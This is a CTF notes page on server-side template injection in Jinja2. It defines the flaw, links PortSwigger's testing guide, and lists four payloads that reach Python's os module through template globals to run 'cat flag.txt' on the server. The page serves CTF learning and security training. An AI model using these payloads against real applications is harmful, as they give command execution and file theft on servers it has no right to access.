> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/web/web-attacks/server-side-template-injection-ssti.md). # Server-side Template Injection (SSTI) **Server-side template injection (SSTI)** is a vulnerability that occurs when an attacker can inject malicious code into a template that is executed on the server. This vulnerability can be found in various technologies, including Jinja. ## Testing for SSTI We can use the following [guide from Portswigger](https://portswigger.net/web-security/server-side-template-injection) to identify server-side template injections:

## SSTI Payloads ### Python payloads #### Jinja 2 payloads Examples of Jinja2 payloads that reads `flag.txt` in the current directory ``` {{ config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read() }} ``` ``` {{ lipsum.__globals__['os'].popen('cat flag.txt').read() }} ``` ``` {{ request.application.__globals__.__builtins__.open('flag.txt').read() }} ``` ``` {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat flag.txt').read() }} ``` ## Resources Server Side Template Injection - PayloadAllTheThings: Server-side template injection - PortSwigger: SSTI (Server Side Template Injection) - HackTricks: